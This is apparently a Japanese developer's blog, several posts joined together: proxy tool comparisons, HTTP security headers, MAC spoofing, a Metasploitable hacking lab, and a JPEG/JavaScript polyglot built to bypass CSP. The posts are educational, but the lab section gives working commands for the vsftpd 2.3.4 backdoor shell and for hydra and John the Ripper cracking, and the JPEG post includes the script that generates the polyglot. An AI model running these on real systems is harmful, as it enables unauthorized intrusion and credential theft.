
セキュリティ診断で遊ぶために、4つのローカルプロキシツールを比較検討してみました。

## やりたいこと
特定サービスのJSONのAPIレスポンスの一部を改ざんする

※ 攻撃対象のサービスは自身が開発しているサービスの開発環境に対して実施をしています。

## 比較するツール
ツールは全て無料の範囲で比較しています。お試し期間で有料版が使える場合は、お試し期間の有料版の機能でツールを使用した感想を書いています。

比較方法は上に挙げた「APIレスポンスの改ざん」を試した時の肌感で評価しているので、個人の趣向が非常に強く出ています。

- [Fiddler Everywhere](https://www.telerik.com/fiddler/fiddler-everywhere)
- [Burp Suite](https://portswigger.net/burp/communitydownload)
- [Charles](https://www.charlesproxy.com/)
- [mitmproxy](https://mitmproxy.org/)

## Fiddler（Fiddler Everywhere)
元々 Fiddler は Windows のみ対応のツールだったが、2020年頃に Fiddler Everywhere が MacOS, Linux にも対応したツールとして新たにリリースされた。2ヶ月ほどお試し期間としてPRO版（有料）が利用可能だった。

PRO版の料金は月額課金で $12/月 （年契約だと 10$/月）

### 良い点

- UIが見やすい
    - レスポンスのタイプが一目で確認しやすい
    - レスポンスの書き換えのルールなどが直感的に登録できる（PRO版）
- リクエストの一覧をフィルタリングができる
    - キーワード と Headerの値 で絞り込みが可能
- SSL証明書のインストールやプロキシの設定の手間がない
    - 気づいたら使えるようになってた

### 悪い点

- 無料版だとルールで設定できるアクションに制限がある
    - レスポンスの書き換えも無料版だと出来ない（PRO版なら可能）
    - 有料版でルールのアクションが全て開放されいてる状態だと使いやすかった
- サインインが必須
    - Google認証ができるのでアカウント発行の手間はなし

## Burp Suite

有料版ならセキュリティ診断ツールとして色々な機能が使えそうだった。  
SQLインジェクションの診断とかもできそう？だった。（試してないので正確なことは分からない）

### 良い点

- 自動でレスポンスの書き換えができる
    - 部分文字列一致での置換ができる
- レスポンスを書き換えた場合にオリジナルのレスポンスボディと変更後のレスポンスボディの両方が確認できる
- 日本語の情報が多い
- ステータスコードやレスポンスタイプなどによる柔軟なフィルタリングができる

### 悪い点

- UIが見づらい
- 慣れや好みの問題がもありそう
- 自分がJavaのGUI実装がデザインが好きでないので、その影響が大きい
- 無料版だとキーワードのフィルタリングができない
    - 有料版だと可能
- 有料版が $399/年 とかなり高い
    - プライベートやちょっとした開発での利用用途としては辛い
- 自分でPCのネットワーク設定でプロキシ設定をやる必要がある
- SSL証明書のインストールが少し手間
    - safariで特定のURLを開いて証明書をダウンロード
    - 証明書をキーチェーンに追加
    - 証明書を常に信頼するように変更

## Charles

無料版は30分に1度の頻度で強制終了する。

### 良かった点

- UIが見やすい
    - リクエストがドメインでグルーピングされるので、ドメイン単位でリクエストを見つけやすい
- レスポンスの書き替えルールが簡単に登録できる
- 料金が安い
    - $50/license
    - ライセンス購入時のメジャーバージョンしかアップデートができない
    - 新しいメジャーバージョンのライセンス購入は定価の40%OFFで購入可能

### 悪かった点

- フィルタリング機能が弱い
    - キーワードでしか絞り込みができない
- 設定画面の文字入力で日本語入力中に文字化けが発生して入力中の文字が見えない
    - 確定して入力は完了するので、日本語の利用は可能

## mimproxy

OSSのローカルプロキシツールで、他のツールと比較して CLI で使えるのが大きな特徴

Homeblew でインストールが可能

```json
$ brew install mitmproxy
```

ブラウザで Web Interface を使う場合は、次のコマンドを実行して [http://localhost:8081](http://localhost:8081) にアクセスする。

```sh
$ mitmweb
```

HTTPSの通信をキャプチャする場合は `~/.mitmproxy/mitmproxy-ca-cert.cer` をキーチェーンの証明書に登録して信頼する。

### 良かった点
- 無料
- Pythonでスクリプトを書けるので拡張がしやすい

### 悪かった点
- メインはCUIツールのなので覚える事が多く学習コストが高い
    - WebインターフェースもあるがUIがシンプルな作りなので、操作性は高くない
    - 覚えてしまえばCUIで操作が完結するので合う人には凄い合いそうなイメージ
- レスポンスの書き換えも少しだけ書き方にクセがある
    - `/~s/xxxx/yyyy` みたいな形式で modify_body に追加する
    - `~s` は mitmproxy の [filter expression](https://docs.mitmproxy.org/stable/concepts-filters/) でレスポンスのみを対象とするフィルター


## 結論

|ツール|感想|
|--|--|
|Fiddler Everywhere|UIは一番好き。年1万円の出費が許容できるなら検討する価値はありそう|
|Burp Suite|料金が高すぎるので本当に必要な場面が出てこない限りは使わない|
|Charles|一番バランスが良かった。<br>拡張性もありそうなので、お手軽にプロキシツールを使うなら、コレが一番良さそう。<br>我慢すれば無料のままでも使える|
|mitmproxy|使い方を覚えれば簡単なことは一通りできるので、完全無料でツールを探すならコレを使う。<br>拡張性が高いのは魅力的|



4つのローカルプロキシツールを簡単に触って比較してみました。

ローカルプロキシツールの比較


フロントエンド実装においてセキュリティを考慮する際に意識した方が良いHTTPレスポンスヘッダーについてまとめています。

## X-Powered-By

### ヘッダーの説明
サーバー側で利用しているフレームワークやバージョン情報を含むHTTPヘッダー

```
例: 
X-Powered-By: Next.js
```

### 脆弱性
サーバー側で利用されているフレームワークやバージョンが含まれているため、他に脆弱性が存在した場合に攻撃者に攻撃を助ける情報を与える可能性がある。

### 対策方法
サーバー側で X-Powered-By ヘッダーを出力しないように設定する。

## X-Runtime

### ヘッダーの説明
サーバーの応答時間を含むHTTPヘッダー

```
例: 
X-Runtime: 0.094235
```

### 脆弱性
タイミング攻撃（Timing Atacking）に利用される可能性がある。

### タイミング攻撃
サーバーの応答時間の違いを利用する事でサービスを分析する攻撃手法です。  
例えば、次のようにログイン処理が実装されていたとします。  

```typescript
const login = (user_name, password) => {
    const user = User.get(user_name);
    if (user == null) return res.send(400);

    // 登録済みのユーザー名の場合はパスワードチェク処理が実行される分だけ応答時間が長くなる
    const mached = user.matchPassword(password);
    if (matched) res.send(200);
    else res.send(400);
}
```

この時、ユーザー名がサービスに登録済みの場合はパスワードチェック処理が追加で実行される影響で応答時間が少し長くなるため、攻撃者はランダムなユーザー名でリクエストを送信して X-Runtime の応答時間の違いを比較することで、サービスに登録済みのユーザー名を特定する事ができます。

```
# 未登録のユーザー名の場合
X-Runtime: 0.3949

# 登録済みのユーザー名の場合
X-Runtime: 0.6421
```

参考: [X\-Runtime Header Timing Attacks \- Virtue Security](https://www.virtuesecurity.com/kb/x-runtime-header-timing-attacks/)

### 対策方法
X-Runtime ヘッダーを出力しないように設定する。

## Cache-Control

### ヘッダーの説明
キャッシュの生存期間や保存可否などを制御するHTTPヘッダー  
HTTPレスポンスヘッダーとして指定された場合は、サーバーからのレスポンスを Cache-Control の指定に基づいて制御する。

```
例 画像などを1日キャッシュする
Chach-Control: max-age=86400
```

### 脆弱性
ブラウザは何の指定も無い場合はデフォルトでサーバーレスポンスを可能な場合にキャッシュします。  
この時サーバーレスポンスにユーザーのパスワード情報などが含まれていた場合に、何らの方法で攻撃者がユーザーの物理マシンにアクセス可能な状態であれば、マシンに保存されているブラウザキャッシュなどからパスワード情報を盗み出される可能性がある。

### 対策方法
Cache-Control を指定して、扱う情報に応じた適切なキャッシュ制御を行う。  
例えば、ユーザーの端末に保存するべきでない情報を含む場合は `nostore` を指定してキャッシュを保存しないようにする。

```
Cache-Control: nostore
```

## X-Frame-Options

### ヘッダーの説明
[X\-Frame\-Options \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/X-Frame-Options)

ブラウザが自分のWebページを \<iframe\> や \<object\> の中へ表示することを禁止することで、Webページが他のサイトに埋め込まれないことを保証することができます。

### 脆弱性の説明
適切に設定していない場合にクリックジャッキング攻撃に利用される可能性がある。

### クリックジャッキング攻撃
外部ページを埋め込んだiframeを透明化して通常のWebページの上に被せることで、攻撃者がユーザーに意図しない操作をさせる攻撃手法です。

例えば、次の要件を満たすようなサービスをユーザーが利用しているとします。

```
1. ログイン情報をCookieで管理している
2. same-site属性はnone
3. アカウント画面の削除ボタンを押すだけで確認なしでアカウントが削除できる
```

このとき対象サービスのアカウントページをiframeに埋め込み透明化した状態でWebページの上に重ねた場合、ユーザーがログイン済みであればユーザーのアカウントページが透明な状態で上に重なって表示されます。  
対象サービスの削除ボタンに重なる位置にクリックしたくなるようなリンクを配置することで、ユーザーに削除ボタンをクリックさせて、アカウントを削除するように誘導する事ができます。

### 対策方法
`X-Frame-Options: Deny` を指定する事で iframe 等へのページの埋め込みを禁止する。

## Content-Security-Policy（CSP）

### ヘッダーの説明
[コンテンツセキュリティポリシー $CSP$ \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP)

インラインスクリプトの実行を禁止してXSSなどの攻撃を軽減する事ができます。

例えば、次のようにHTTPレスポンスヘッダーに含める事で、掲示板のサービスなどでサニタイズ処理をせず任意の文字列をサービスに埋め込める脆弱性があった場合でも、インラインスクリプトの実行ができないためXSS攻撃を軽減する事ができます。

```
# 外部ドメインのファイル読み込みやインラインスクリプトの実行を禁止する
Content-Security-Policy: default-src 'self'
```

IEは CSPの sandbox ディレクティブのみが利用可能になっており、IE9以下は CSP 未対応なので、次に紹介する X-XSS-Protection を利用する必要があります。

詳しい設定は上記のMDNのリンクを参照してください。

### 脆弱性の説明
掲示板などでユーザーが入力した値をサニタイズせずに画面上に表示していた場合にXSS攻撃を仕込まれる可能性がある。

### 注意点
外部ドメインからのスクリプト読み込みを禁止した場合に、CDN経由でのライブラリ読み込みなどが出来なくなってしまいます。  
そのため、自身のサービスの特性に合わせて適切に設定する必要があります。

例えば、次の設定をする事で自身のドメインと特定ドメインの CDN からのみスクリプト読み込みを許可する事ができます。  

```
Content-Security-Policy: default-src 'self' cdnjs.cloudflare.com
```

### 対策方法
Content-Security-Policyを適切に設定する。

※ CSPの設定とは別でユーザーが入力した値を表示する箇所で適切にサニタイズ処理はするべきです。

## X-XSS-Protection

### ヘッダーの説明
ブラウザがXSS攻撃を検出した時にページの読み込みを自動で停止します。

CSPが厳しく設定済みであれば、このヘッダーは本来不要です。  
しかし、ユーザーがCSPに未対応の古いブラウザ（IE9以下）を利用している場合に有効な対策になります。

## Strict-Transport-Security

### ヘッダーの説明

[Strict\-Transport\-Security \- HTTP \| MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Strict-Transport-Security)

HTTPS でページにアクセスした時にHTTPレスポンスヘッダーに含めることで、次回以降はブラウザーに HTTP の代わりに HTTPS を用いて通信を行うよう指示する事ができます。  

初めてのユーザーが HTTP でページにアクセスした場合は Strict-Transport-Security 無視されるため、ユーザーが HTTPS アクセスを一度もしていない場合には有効でない事に注意してください。  
HTTPS アクセスをしてSSL証明書が確認されたタイミングで設定が有効になります。

```
# HTTPSアクセスの設定を1年間有効にする（有効期限はアクセスの度に更新される）
Strict-Transport-Security: max-age=31536000;
```

### 脆弱性の説明
HTTPアクセスが許可されている銀行サイトを普段から利用していたとします。  
カフェで無料のWifiに接続した状態で、その銀行サイトをHTTP経由で利用をしてしまった場合に、攻撃者にHTTPリクエストの内容を傍受され銀行口座やログイン情報などが盗まれる可能性があります。

### 対策方法
Strict-Transport-Security ヘッダーを指定する。

上の例では、もし銀行サイトが Security-Transport-Security を設定しており、一度でも HTTPS で銀行サイトにアクセスしていた場合には、誤ってHTTPアクスした場合でも HTTPS 経由で自動で接続されるため被害を防ぐことができます。


WebセキュリティのためのHTTPレスポンスヘッダー


とある会社の人と話していて、社内インフラの人がセキュリティ対策としてMacアドレスを見てアクセスを制限している。と聞いて、Macアドレスって簡単に偽装できるんじゃない？と思い調べてみました。

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としています。  
決して外部の環境に対して悪意のある実行をしないようにしてください。

## spoof

調べたら macOS, Windows, Linux で利用可能な Macアドレスを偽装できるCLIツールがあった。

[feross/spoof: Easily spoof your MAC address in macOS, Windows, & Linux\!](https://github.com/feross/spoof)

### インストール

```
$ npm i -g spoof
```

### 使い方

#### Macアドレスの一覧を表示

```shell
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx
- ...
```

#### ランダムなMacアドレスを設定

```shell
# root権限が必要
$ sudo spoof randomize en0
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx currently set to 00:50:56:6F:42:0A
- ...
```

#### 任意のMacアドレスを設定

```shell
# root権限が必要
$ sudo spoof set 
$ sudo spoof list
```

#### Macアドレスをリセット

```shell
# root権限が必要
$ sodo spoof reset en0
```

## ツールを利用しない場合

ツール使わなくても普通にできるようでした。  
[macOS でターミナルを使って自分のMAC アドレスを変更する方法 \- yu8mada](https://yu8mada.com/2018/06/27/how-to-change-one-s-own-mac-address-using-terminal-on-macos/)   


#### Macアドレスの確認

```shell
$ networksetup -listallhardwareports

Hardware Port: Wi-Fi
Device: en0
Ethernet Address: xx:xx:xx:xx:xx:xx

...

$ ifconfig en0 | grep ether
	ether xx:xx:xx:xx:xx:xx
```

#### Macアドレスの設定

```shell
$ sudo ifconfig en0 ether 60:d2:48:2f:39:64
$ ifconfig en0 | grep ether
	ether 60:d2:48:2f:39:64
```

#### Macアドレスをリセット

リセットの事を考えると spoof を利用した方が早そう。

```shell
$ networksetup -getmacaddress Wi-Fi
Ethernet Address: xx:xx:xx:xx:xx:xx (Hardware Port: Wi-Fi)

$ sufo ifconfig en0 ether xx:xx:xx:xx:xx:xx
```

## まとめ

調べたらMacアドレスの偽装は凄い簡単にできました。  
単純なMacアドレスのによるアクセス制御はあまり意味が無かったです。

Macアドレスを偽装する


Metasploitableという脆弱性が用意されたLinuxの仮想環境に対して攻撃を試すことで、Linuxのハッキング方法について学んだので、実際に試した攻撃についてまとめています。

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。  
決して外部の環境に対して実行しないようにしてください。

## 参考

[ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習](https://www.shoeisha.co.jp/book/detail/9784798155302)  
第5章 「Metasploitableのハッキング」

## ツール一覧

* Netcat
    * TCP/UDPの接続を利用したデータを送受信するCLIツール
    * ファイル転送など色々な用途に使える万能ツール
* nmap
    * 攻撃対象の空いているポート番号を特定する（ポートスキャン）
* [Explit-DB](https://www.exploit-db.com/)、[CVE Details](https://www.cvedetails.com/)
    * 脆弱性を検索できるサービス
* hydra
    * オンラインのパスワードクラッキングツール
* Jhon the Ripper
    * 暗号化されたパスワードの解析ツール
    * Linuxの /etc/shadow やWebサービスのDBに保存してある暗号化されたパスワードを解析して元の文字列を復元する
* wireshark
    * パケットキャプチャツール
    * ネットワーク内のパケットをキャプチャすることで、どこ対してどんな内容の通信がされているかを解析する。

## ポートスキャン

-p-: 1~65535番までのポート番号を対象とする  
-sV: 各ポートのサービスのバージョンを検出する  
-O: ターゲットのOSを特定する。  

```
$ nmap -sV -O -p- <IP>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 00:28 JST
Nmap scan report for 10.0.0.5
Host is up (0.00068s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
...
```

## vsftpdのバックドアを利用

vsftpd 2.3.4 には リモートからコマンド実行可能なバックドアが含まれている。
（2011/06/30に埋め込まれて、2011/07/03 には修正済み）  
`:)` を含むユーザー名でFTPにログインするとポート6200(TCP)にバックドアが開く。

```
$ nc <攻撃対象のIP> 21
220 (vsFTPd 2.3.4)
USER hoge:)
331 Please specify the password.
PASS hoge
```

別ターミナルで確認すると6200ポートが開いてる事が確認できる。

```
$ nmap -p 6200 <IP>
PORT     STATE SERVICE
6200/tcp open  lm-x
```

6200ポートにバックドアが開くので、別ターミナルで6200にアクセスする。

```
$ nc -nv <IP> 6200
(UNKOWN) [<IP>] 6200 (?) open
whoami # コマンドを実行
root   # 結果が返ってくる
```

## 辞書攻撃でSSHアカウントの認証解析

```
# ユーザーの辞書ファイルを作成
$ cat > user.lst
root
sys
...

# パスワードの辞書ファイルを作成
$ cat > pass.lst
root
passwd
...

# 辞書ファイルを利用して総当たり
$ hydra -L user.lst -P pass.lst -t 4 <IP> ssh
```

## 暗号化パスワードの解析

John the Ripper を利用してパスワードを解析する。  
`ユーザー名:暗号化パスワード` の形式で解析したいパスワードをファイルに保存してコマンドを実行

```
$ cat passwords
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

# 総当たり攻撃で解析（めっちゃ時間かかる）
$ john --incremental passwords
```

## HTTPの認証を解析

hydra で認証ページに対して辞書攻撃をして有効なID/パスワードを見つける。  
http-form-post の書式は `<認証APIのパス>:<送信パラメータ>:<認証失敗時のレスポンスに表示される文字列>`となる。
攻撃対象のURLや送信パラメータの構造は wireshark などでパケットキャプチャをして確認する。  

```
$ hydra -L user.lst -P pass.lst -s <Webサービスのポート> <ターゲットIP> http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
```



Metasplotableで体験するLinuxのハッキング

JPEG画像にJavaScriptのコードを埋め込む手法が紹介されていたので試してみました。  
今回は次の画像に対してコードの埋め込んでみます。

![埋め込み画像](/images/posts/inject-jpeg-js/donarudo.jpg)

## 注意

この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。  
決して外部サイトに対して実行しないようにしてください。

## 画像のバイナリを見てみる

今回試す方法は画像のバイナリを変更してコードを埋め込んでいます。  
そこで、最初は画像のバイナリを確認してみます。

```shell
$ hexdump -C donarudo.jpg | head -n 5
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......|
00000010  00 01 00 00 ff e1 00 6c  45 78 69 66 00 00 49 49  |.......lExif..II|
00000020  2a 00 08 00 00 00 03 00  31 01 02 00 07 00 00 00  |*.......1.......|
00000030  32 00 00 00 12 02 03 00  02 00 00 00 02 00 02 00  |2...............|
00000040  69 87 04 00 01 00 00 00  3a 00 00 00 00 00 00 00  |i.......:.......|

$ hexdump -C donarudo.jpg | tail -n 3
000038f0  99 e8 80 e7 8a 5a 68 a7  57 de a3 e7 02 8a 28 a6  |.....Zh.W.....(.|
00003900  01 45 14 50 01 45 14 50  07 ff d9                 |.E.P.E.P...|
0000390b
```

先頭の2バイト **FF D8** はSOIマーカーと呼ばれ、JPEGフォーマットの開始を表しています。  
次の2バイト **FF E0** はセグメントの種類を表しており、次の2バイトの **00 10** がセグメントの長さを示していて
10進数で 16 なので、**00 10** を含む16バイト分（**FF E1** の手前まで) がセグメントであるのが分かります。  
最後の **FF D9** はEOIマーカーと呼ばれ、JPEGフォーマットの終了を表しています。

今回はこのセグメント内に `alert(1)` のjsコードを埋め込んでいきます。16進数のバイナリ表現は次のように取得できます。

```javascript
$ node
> 'alert(1);'.split('').map(i => i.charCodeAt(0).toString(16)).join('')
'616c6572742831293b'
```

## jsコードを埋め込む

↓がバイナリを変更して、jsコードを埋め込んでみた様子です。  

```shell
$ hexdump -C donarudo_01.jpg | head -n 5
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 61 6c 65 72 74  |......JFIF.alert|
00000010  28 31 29 00 ff e1 00 6c  45 78 69 66 00 00 49 49  |(1)....lExif..II|
00000020  2a 00 08 00 00 00 03 00  31 01 02 00 07 00 00 00  |*.......1.......|
00000030  32 00 00 00 12 02 03 00  02 00 00 00 02 00 02 00  |2...............|
00000040  69 87 04 00 01 00 00 00  3a 00 00 00 00 00 00 00  |i.......:.......|
```

このままjsのコードとして読み込んでも、無効な文字列を含んでおりjsの読み込みでエラーが発生します。  
jsは `/*....*/` で囲む事でコメントとしてコードを無視することが出来るので、それを利用して画像データの部分をコメントアウトして、jsとして有効なコードであるように偽装する事が可能です。

```shell
$ hexdump -C bad-donarudo.jpg | head -n 6
00000000  ff d8 ff e0 2f 2a 4a 46  49 46 00 01 01 00 00 01  |..../*JFIF......|
00000010  00 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00002f20  2a 2f 3d 61 6c 65 72 74  28 31 29 3b 2f 2a ff e1  |*/=alert(1);/*..|
00002f30  00 6c 45 78 69 66 00 00  49 49 2a 00 08 00 00 00  |.lExif..II*.....|

$ hexdump -C bad-donarudo.jpg | tail -n 3
00006810  68 a7 57 de a3 e7 02 8a  28 a6 01 45 14 50 01 45  |h.W.....(..E.P.E|
00006820  14 50 07 ff d9 2a 2f ff  d9                       |.P...*/..|
00006829
```

実際にコメントアウトの対応をしてjsコードを埋め込んだ画像のバイナリがこんな感じです。

先頭の4バイト **FF D8 FF E0** は有効な非ASCII文字のJavaScript変数になります。次の **2F 2A** がセグメントの始まりで、セグメントの部分を `/*.../*` でコメントアウトしています。 次に、`=` を差し込み変数代入とすることで、先頭の4バイトを変数として扱い有効な文字列としています。続いて `alert(1);` を実行コードとして差し込んでいます。その後、`/*...*/` で残りのJEPG画像データの部分をコメントアウトしています。

また、セグメント開始の **2F 2A** はセグメント長を表現しており、10進数で 12074 なので、セグメント長を合わせるために、12074 - 16 - 14 = 12044バイト をヌルバイト（**00**）で埋めています。

本来のセグメント部分:  
`2F 2A 4A 46 49 46 00 01 01 00 00 01 00 00 00 10 00 01` の16バイト  

埋め込みjsコード部分:  
`*/alert(1);/*` => `2a2f3d616c6572742831293b2f2a` 14バイト

有効なjsコードの部分だけを表現すると次のようになります。

```js
<有効な非アスキー文字>=alert(1);
```

このjsコードの埋め込みは次のプログラムで実現できます。

```js
const fs = require('fs');

const image = fs.readFileSync('donarudo.jpg');
const hex = image.toString('hex');
const soi = hex.substr(0,8);
const commentStart = '2f2a'; // /*
const header = hex.substr(12,28);
const nullBytes = Array(12044).fill('00').join('');
const code = `*/=alert(1);/*`.split('').map(e => e.charCodeAt(0).toString(16)).join('');
const payload = hex.substr(40, hex.length - 4);
const commentEnd = '2a2f'; // */
const eoi = hex.substr(hex.length - 4);
const injectedJsJpeg = soi + commentStart + header + nullBytes + code + payload + commentEnd + eoi;
const hexBinary = new Buffer(injectedJsJpeg, 'hex');

fs.writeFileSync('bad-donarudo.jpg', hexBinary);
```

## JPEG画像を読み込んでみる

jsを埋め込んだ画像を読み込んでみます。

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <img src="bad-donarudo.jpg"/>
    <script src="bad-donarudo.jpg"></script>
</body>
</html>
```

![JavaScriptを埋め込んだ画像](/images/posts/inject-jpeg-js/donarudo-xss.png)

正常に画像は表示されて、jsファイルとしても読み込む事ができました！  
Chromeでは対策済みでアラートが表示されず、IE11でアラートの表示が確認できました。

実現可能なブラウザは限られますが、日本国内ではまだまだIE11の利用ユーザーは多いので無視できない手法です。

## 攻撃の使われ方

これで簡単にXSSが出来るのかなと思ったのですが、<img>タグで読み込んだ場合はあくまで画像として処理されるので、コードが実行されることはありません。  
あくまで、攻撃対象のサイト上で \<script>タグで画像を読み込ませる必要があります。  

ではこの手法がどのような攻撃に利用されるかというと、**[コンテンツセキュリティポリシー（CSP）](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP)のバイパス** に利用されます。  
CSPが有効になっているWebサイトでは別ドメインからのjsファイルの読み込みやインラインスクリプトの実行がブロックされます。そのため、\<script>タグを埋め込む事ができてもXSSを防ぐ事が可能になります。

しかし、Webサイトに画像アップロードが機能があった場合に、jsコードを埋め込んだ画像をアップロードして、その画像を読み込むように\<script>タグを埋め込むめば、CSPのセキュリティをくぐり抜けてxssを実現することが可能になります。

```html

<script src="/public/images/xss.jpg"></script>
```


最近はS3などにアップロードした画像が配置されるパターンが多く、その場合は画像読み込みがCSPのポリシー対象である外部ドメインとなるので、利用できる状況はかなり限定的なのかな？と思います。

## 参考文献
* [Hiding JavaScript in Picture Files for XSS](https://www.youtube.com/watch?v=memPcI94YGA)
* [Hiding JS in a JPEG header.](https://medium.com/@codedbrain/hiding-js-in-a-jpeg-header-454386f9e20)
* [Bypassing CSP using polyglot JPEGs](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs)
* [Content Security Policyについて語る](http://www.nowhere.co.jp/blog/archives/20190315-080010.html)
* [JPEGファイルの構造](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/StructureOfJPEG.htm)

JPEG画像にJavaScriptのコードを埋め込んでみる

神奈川の田舎で働いてるフロントエンドエンジニアのブログ